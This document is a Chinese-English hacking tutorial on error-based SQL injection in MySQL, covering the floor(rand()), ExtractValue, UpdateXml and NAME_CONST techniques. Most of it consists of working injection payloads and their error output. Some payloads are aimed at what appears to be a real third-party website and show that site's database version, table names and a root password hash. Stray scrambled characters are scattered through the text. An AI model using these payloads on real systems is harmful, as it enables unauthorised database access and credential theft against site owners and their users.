mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
5 [5 J- N3 [+ o首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
8 F* O3 P: f5 t2 J" l+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
( j( t& w4 Y5 K- o. g$ d! E例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
) ^+ c- `/ o0 ]# ]# l9 R3 DERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
5 U( ~! `. d0 |- Q$ ~9 CERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
3 @/ d+ H6 ]" R5 @% D; ?测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

+ K" d  K+ I* ~- {0 e8 X8 {3 M% U) Q" V' [

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

: T' w+ @) v  Q- K% v0 |Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
. y0 |& I3 w' J
" C/ k4 W0 o" i7 \% n5 D6 bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
0 L* G2 Q5 `  `' P6 f, P( X0 U
9 ?: P0 K* J5 d, EErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


+ v/ C( [- @0 }$ e相关信息
) Q  ]9 y* Y/ M! l
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)

: t* ^9 Q  H2 A+ K- PReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)


% z. n9 g- E* c+ X
; O4 S5 ^) f/ I  B|---------------|
|     TEST      |
|               |
|---------------|
& X! i5 u3 Y* M/ Q' ^, l. l|       1       |
( o) z7 e8 }. r# u|               |
|---------------|

2 e- ]2 F; t3 N  P  b


http://dev.mysql.com/doc/refman/5.0/en/m...name-const
3 ^4 }2 X# D0 O% u6 oIntro to MySQL Variables

, V6 \7 L0 F5 G! KOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
4 _: }0 J! l+ H" c' n
0 ^6 t. c* g9 W. b9 xCode:
5 p/ E( j0 n+ Z6 yhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261

% X4 Q8 i9 Z5 g" A
3 K* v; {" {. l2 J5 O' S

# K! ?6 D/ T$ Y- c$ e8 v! s
. W& ?" h8 }* A; b, GCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
, w8 D$ F9 o0 i

/ m: B$ J0 g: m. a$ b- nVAR = Your MySQL variable.
0 @9 S, O7 ?; o, f: ~
' k& f0 a  q8 Z* j* F0 P/ d9 zMySQL 5.1.3 Server System Variables

& X/ D# G8 i: N& N$ ZLet's try it out on my site..
% S; a. e6 K% I* K
8 W. {) p/ f8 |, [* p( [2 l# Y* v! BCode:
, p" r3 Q5 k$ S4 t  D# }0 @http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

% x: r$ D8 B9 U; ]+ q% L4 _; [0 xErroruplicate column name '5.0.27-community-nt'
0 g1 O9 N0 f3 Z# w, W  A2 `7 d


& E" q) m  `5 Q: T7 w; r; ]( q+ g! K

) k7 A% L, t  L7 yNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
  W* o+ z. A# K' q" |
, G6 E# j/ e0 ?1 X( oData Extraction
1 t9 w1 E3 h3 E/ S/ y3 b! _! H, ~
Code:
1 L5 D0 [% R  i+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
  G4 s. F8 Y8 F/ \1 M

7 Z; k' Z. A" PWe should get a duplicate column 1 error...

) N7 |0 o$ ?1 l7 Z9 _' xCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

- V7 p+ K+ s  `6 j' h+ a5 mErroruplicate column name '1
. [( D4 A$ u1 ~, e4 `, Q3 q
0 w0 w3 ?3 h5 {$ R. e
4 E) h4 M: s. n+ S3 @0 }5 l, T  P
- v9 M4 ]) T; J* L4 D. @


/ b+ [; i" `9 v: vNow let's get the tables out this bitch..
! g; V) V: ]  o, k3 p1 o5 P+ d
. r: ?, L/ E/ j$ ]4 MCode:
6 @0 D& p) |7 s+ y# F$ B+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 W6 J$ P6 C2 c. w/ _, Q

Let's see if it works here, if it does, we can go on and finish the job.

Code:
  Z$ v& x$ {. }! [) q! ]http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


% Q; \& q  O8 H! M1 KErroruplicate column name 'com_admanage
  n9 Z+ [2 |% S( g  [. @
* Q+ Z2 q  L; e6 z- \, o2 _2 Q
' t) Z/ N, f, J3 Z" L4 u* p
" |9 t# G5 U( @( [& o7 s$ M
0 P) N; a5 ?, K: k! u% ~

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
; r% j9 {) Y& ~4 L, u
! Q$ A. U( F; l( R4 zLet's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

7 R) g5 f: {/ F& P
So mine looks like this, and I get the duplicate column name 'Host'.

0 r' j, S: d0 {Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
& X+ H8 v7 l! g2 |* S" F0 \
  `, g5 v: t6 t; @, P, Z# @5 s' _
8 z4 h9 w4 A  W( _

! A' o# Y4 K- R: h2 _; `  @
+ X2 \0 L6 o4 _4 R6 @: u
% X8 O: u- i% @% S3 dWoot, time to finish this bitch off.

Code:
  s4 i  A3 d, l% t+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
& o0 F% i7 o6 E9 L
. y4 W/ A* M; c2 ]  C8 `% K
/ t- U) n: B4 M( j$ R8 _So mine looks like this...
% z' m' u3 I6 Q% |: L9 P
- Y5 C3 \: n. O7 _! }/ w3 bCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
7 M% p6 A2 B: d
% |3 q; |4 a+ z0 m8 v; c2 jErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
, \" R, j1 ?# m2 Q

( e" u: A+ M5 P


' Y3 I: c. n/ W$ E2 c' _5 b& O
And there we have it, thanks for reading.